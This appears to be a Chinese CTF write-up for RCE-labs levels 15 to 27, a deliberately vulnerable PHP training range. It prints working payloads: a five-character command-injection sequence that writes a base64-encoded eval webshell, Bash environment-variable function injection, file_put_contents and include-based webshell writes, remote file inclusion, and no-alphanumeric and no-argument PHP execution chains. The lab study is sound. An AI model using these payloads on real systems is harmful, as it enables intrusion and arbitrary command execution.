当前位置: 首页 > news >正文

打靶日记-RCE-labs(续)

前言

在第15关尝试写入一句话木马并没有成功,但是在kal测试成功,后续的第18到27关在【NSSCTF平台】 。

5字符rce

最近一直在看相关文章,记录一下相关知识。

在linux中,如果命令过长可以用续航符(\),来将一行命令变为多行来写

​sh​ 是 Linux/Unix 系统中的 Bourne Shell,是一种命令解释器(Shell),用于执行用户输入的命令或脚本文件

输入通配符 * ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

*使第一个列出的文件名(ls)当作命令,剩下的文件名当作参数,而*后面的s有限制了只有含有s的字符串才能当做参数

通过rev来倒置输出内容(rev命令将文件中的每行内容以字符为单位反序输出)

​linux​中,dir​命令和ls效果基本一样,只有配合重定向符写入文件时有一些差别,ls​写入文件中时,每个文件名都是单独一行,它会自动换行,有时会影响到我们的命令执行,而dir​会把内容全部写入一行中,同时会自动补全空格

ls -t 会将文件以创建先后顺序排列,创建时间靠后的文件排在前面。ls -th同样的作用,这里同 -th是为了调整-t参数的位置

使用 -t

使用 -th

可以看到调整位置后就有完整的命令 ls -th >a。在结合rev倒置输出以及dir 知识

这里可以直接构造一句话木马,因为有<,?,需要将其进行base64转换,这样payload里就没有特殊字符了。

同时还有空格问题

echo PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+|base64 -d>1.php

这一条命令有两个问题,需要替换一个用 ${IFS},  具体见

5位可控字符下的命令执行 - 灰信网(软件开发博客聚合)

所以命令为 echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbJzEnXSk7ID8+|base64 -d>1.php

分开传参数

>dir
>f\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>8+\\
>ID\\
>k7\\
>XS\\
>En\\
>Jz\\
>Rb\\
>U1\\
>BP\\
>X1\\
>gk\\
>bC\\
>Zh\\
>ZX\\
>Ag\\
>aH\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh a
sh f

如图在执行完命令后已经生成1.php文件,但是在题目中尝试后发现不行,还有反弹shell我还不太懂😳😳等我沉淀沉淀再说。

【RCE-labs】Level 18

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - RCE靶场 : 命令执行 - 环境变量注入 --- 来源:P牛2022的文章【我是如何利用环境变量注入执行任意命令】https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html*/
foreach($_REQUEST['envs'] as $key => $val) {putenv("{$key}={$val}");
}system('echo hello');highlight_file(__FILE__);?>

通过看大佬文章总结

Bash 4.4以前:env $'BASH_FUNC_echo()=() { id; }' bash -c "echo hello"

Bash 4.4及以上:env $'BASH_FUNC_echo%%=() { id; }' bash -c 'echo hello"

BASH_FUNC_echo%%: Bash 允许通过环境变量定义函数,格式为 BASH_FUNC_函数名%%=() { 命令; }。这里定义了一个名为 echo 的 Bash 函数,内容是执行 id 命令。

env: 用于设置环境变量并在新的环境中执行命令。

bash -c 'echo hello': 启动一个新的 Bash 实例,执行 echo hello。由于环境变量中定义了 echo 函数,Bash 会优先执行该函数(id),而不是内置的 echo 命令。

效果: 当执行 echo hello 时,实际运行的是 id 命令,输出当前用户的信息。

同理构造

env $'BASH_FUNC_echo%%=() { cat /flag; }' bash -c 'echo hello'

当执行 echo hello 时,会输出flag

就本题而言,payload

?envs[BASH_FUNC_echo%%]=()%20{%20cat%20/flag;%20}

【RCE-labs】Level 19

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - RCE靶场 : 文件写入导致的RCE --- https://www.php.net/manual/zh/function.file-put-contents.php参考可以写入的内容:
<?php @eval($_POST['a']); ?>*/function helloctf($code){$code = "file_put_contents(".$code.");";eval($code);
}isset($_GET['c']) ? helloctf($_GET['c']) : '';highlight_file(__FILE__);?>

文件写入这就比较简单了,主要是 file_put_contents函数

file_put_contents() 是 PHP 用于写入文件的函数,语法为:

file_put_contents(文件名, 内容);

构造payload ?c='shell.php', '<?php @eval($_POST[a]); ?>'

 hackber传参 a=system('cat /flag');

【RCE-labs】Level 20 

最简单的文件上传没有啥过滤,上传一句话木马就行了,不再多说

【RCE-labs】Level 21

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - RCE靶场 : 文件包含导致的RCE --- allow_url_fopen = On
allow_url_include = On
默认全开的环境,可以尝试多种解法,若对此存有疑问,尝试去 github.com/ProbiusOfficial/PHPinclude-labs 了解更多文件包含的知识。远程文件包含可用链接(<?php @eval($_POST['a']); ?>):
https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFIFilterChain的Payload生成器:
https://probiusofficial.github.io/PHP-FilterChain-Exploit/
/exp.php注意:在本关卡中你传递的内容将以字符串的方式拼接在 include() 函数中,你需要区别这与 incluude($_GET['file']) 的区别。
*/function helloctf($code){$code = "include(".$code.");";echo "Your includeCode : ".$code;eval($code);
}isset($_POST['c']) ? helloctf($_POST['c']) : '';highlight_file(__FILE__);?>

这一题的方法有很多,都可以试试

1.直接包含

c='/flag'

include()函数会将目标文件的内容作为 PHP 代码解析并执行。当目标文件是纯文本(如/flag)时,其内容会被直接输出

2.php伪协议

c='php://filter/read=convert.base64-encode/resource=/flag'

3.拼接命令

c='1.php');system('cat /flag'

4.远程文件包含

  • allow_url_fopen = On:允许通过 URL(如 http:// 或 https://)读取远程文件。
  • allow_url_include = On:允许通过 include() 执行远程 PHP 文件的代码。

题目正好给了一个网站

c="https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI"&a=readfile('/flag');

【RCE-labs】Level 22

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - RCE靶场 : HP 特性 - 动态调用 --- PHP 支持在运行时动态构建并且调用函数,在下面的代码中 a可以被作为函数,b可以被作为函数的参数。try ?a=system&b=ls*/isset($_GET['a'])&&isset($_GET['b']) ? $_GET['a']($_GET['b']) : null;highlight_file(__FILE__);?>

根据题目提示,a为函数名,b为参数

?a=system&b=cat /flag

【RCE-labs】Level 23

<?php 
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - RCE靶场 : PHP 特性 - 自增 --- 可用字符:! $ ' ( ) + , . / ; = [ ] _自增通过一下几个特性实现:
变量:
在PHP中变量以 $ 开头,后面为变量名称,PHP中变量可以是下划线 _ 开头,所以 $_ 是一个变量,$__ 则是不同的变量,就像 $a 和 $aa 一样。数组->字符串:
在PHP中,非字符串是不能使用 . 符号进行拼接的,当你强制拼接时 PHP 会将非字符串转换为字符串:
$_ = 1; var_dump($_); var_dump($_.'');
这将会输出:int(1) string(1) "1"
但如果 $_ 是一个数组,则会被强制转换为字符串 Array 而无视数组内容。
所以 [].'' 表示在空数组后面拼接空字符串,PHP会优先转换类型,从而将数组转换为字符串 Array。字符串:
字符串本质上是一个字符的有序序列,同C语言类似,你可以直接通过索引(或者说下标)的方式直接访问字符串中的字符。
$_ = "Hello-CTF";var_dump($_[0]);
这将会输出 string(1) "H"
所以在 $_ = ([].'')[0]; var_dump($_); 你会得到输出:string(1) "A"自增:
这是一个编程语言中很常见的操作,我们一般在for循环会写到的语句 i++ 或者 ++i,这是一个自增操作,PHP也一样,只不过我们的变量名称不是很常见与之等效的 $_++ 或者 ++$_。
当我们对一个字符或者是字母进行自增操作时,PHP会将其转换为ASCII码,然后自增,然后再转换为字符。直观一点 A++ 将会输出 B,Z++ 将会输出 AA。++的位置决定语句的执行顺序,++在前面时会先进行自增操作。 $_ = ([].'')[0]; 在前面时输出B,后面时输出A。所以通过特性的连用,你可以看到很多自增的Payload长这样:
payload=$_=(_/_._)[''=='_'];$_++;$__ = $_++;$__ = $_.$__;$_++;$_++;$_++;$__ = $__.$_++.$_++;$_ = $__;$__ ='_';$__.=$_;$$__[__]($$__[_]); 
&__=system 
&_=ls自增题目的考点通常在Payload的长度限制,挑战关卡,让你的Payload足够短吧。
*/highlight_file(__FILE__);isset($_POST['code']) ? $code = $_POST['code'] : $code = null;if(preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/", $code)){die("WAF!");
}else{echo "Your Payload's Length : ".strlen($code)."<br>";eval($code);
}?>

感谢题目大大给的payload,使用时要把payload进行url编码

code=%24_%3D%28_/_._%29%5B%27%27%3D%3D%27_%27%5D%3B%24_%2B%2B%3B%24__%20%3D%20%24_%2B%2B%3B%24__%20%3D%20%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%20%3D%20%24__.%24_%2B%2B.%24_%2B%2B%3B%24_%20%3D%20%24__%3B%24__%20%3D%27_%27%3B%24__.%3D%24_%3B%24%24__%5B__%5D%28%24%24__%5B_%5D%29%3B

&__=system 
&_= cat /flag

【RCE-labs】Level 24

相关知识见

RCE篇之无参数rce - 学安全的小白 - 博客园

https://a1andns.github.io/post/%E6%97%A0%E5%8F%82%E6%95%B0%E5%87%BD%E6%95%B0RCE

两位大佬讲的都非常详细

<?php 
include ("get_flag.php");
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - RCE靶场 : PHP 特性 - 无参命令执行 --- 根据正则表达式的匹配规则,可以看到我们只能输入A(),这样的形式,括号中无法携带参数,但支持多个函数嵌套A(B(C())),这种形式我们称其为无参命令执行。
无参命令执行的难度首先是在于无参本身,这需要你利用一些函数特性外带参数绕过限制 —— 这可以从一些获取外部值的函数实现:
getallheaders()
session_id()
...
其次是对嵌套参数的处理 —— 当然不局限于外带进来的参数,一些诸如 localeconv() 的函数可以获取内部存在的一些参数如当前目录下面的文件信息等:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。通常我们获取到的很多情况下是数组,所以有时候比较依赖对数组的操作,比如:
- array_reverse():数组反转
- pos():输出数组第一个元素
- next():指向数组的下一个元素,并输出
...随后是一些文件读取显示的操作:
- show_source() - 对文件进行语法高亮显示。
- readfile() - 输出一个文件。
- highlight_file() - 对文件进行语法高亮显示。
- file_get_contents() - 把整个文件读入一个字符串中。
- readgzfile() - 可用于读取非 gzip 格式的文件...你随时可以通过查阅PHP官方手册中函数相关的部分来找到上面类似的内容。
*/function hello_code($code){if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $code)){eval($code);}else{die("O.o");}}isset($_GET['code']) ? hello_code($_GET['code']) : null;highlight_file(__FILE__);?>

 这里构造payload

?code=show_source(array_rand(array_flip(scandir(current(localeconv())))));

在bp上重复传参,直到出现flag就行了

【RCE-labs】Level 25

利用题目给的工具即可

【RCE-labs】Level 26

<?php 
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date:   2024-08-11 14:34
# @Repo:   github.com/ProbiusOfficial/RCE-labs
# @email:  admin@hello-ctf.com
# @link:   hello-ctf.com--- HelloCTF - RCE靶场 : PHP 特性 - 无字母数字的代码执行 --- 参考和依据的文章:https://xz.aliyun.com/t/8107*/highlight_file(__FILE__);isset($_POST['code']) ? $code = $_POST['code'] : $code = null;if(preg_match("/[a-z0-9]/is", $code)){die("WAF!");
}else{echo "Your Payload's Length : ".strlen($code)."<br>";eval($code);
}?>

这里官方给了很多方法,但是我尝试取反和异或为啥会报错类我服了,这里还是用自增绕过

 【RCE-labs】Level 27

我还不怎么会模板注入这个先放放

http://www.dtcms.com/a/310860.html

相关文章:

  • linux eval命令的使用方法介绍
  • php完整处理word中表单数据的方法
  • 【软考中级网络工程师】知识点之级联
  • PHP面向对象编程与数据库操作完全指南-上
  • ctfshow_源码压缩包泄露
  • Arduino IDE离线安装ESP8266板管理工具
  • 网络安全基础知识【6】
  • Linux初步认识与指令与权限
  • 机器学习sklearn:聚类
  • 读书:李光耀回忆录-我一生的挑战-新加坡双语之路
  • 【物联网】基于树莓派的物联网开发【21】——MQTT获取树莓派传感器数据广播实战
  • Python So Easy 大虫小呓三部曲 - 高阶篇
  • html5+css3+canvas长文转长图工具支持换行
  • 国产嵌入式调试器之光? RT-Trace 初体验!
  • C++之vector类的代码及其逻辑详解 (中)
  • 电力系统分析学习笔记
  • 谷歌Chrome浏览器安装插件
  • 论文笔记:Bundle Recommendation and Generation with Graph Neural Networks
  • 设计Mock华为昇腾GPU的MindSpore和CANN的库的流程与实现
  • STM32——启动过程浅析
  • 个人电脑部署私有化大语言模型LLM
  • python+pyside6的简易画板
  • 损失函数和调度器相关类代码回顾理解 |nn.CrossEntropyLoss\CosineAnnealingLR
  • Codeforces Round 1040 (Div. 2) A - D题详细题解
  • DP-v2.1-mem-clean学习(3.6.8-3.6.8.1)
  • Java试题-选择题(3)
  • 风光储并离网切换仿真模型(下垂控制一次调频)
  • CORS模块:你的跨域快速通行证 [特殊字符]
  • 第七章 愿景13 CBS升级
  • Git 误删分支怎么恢复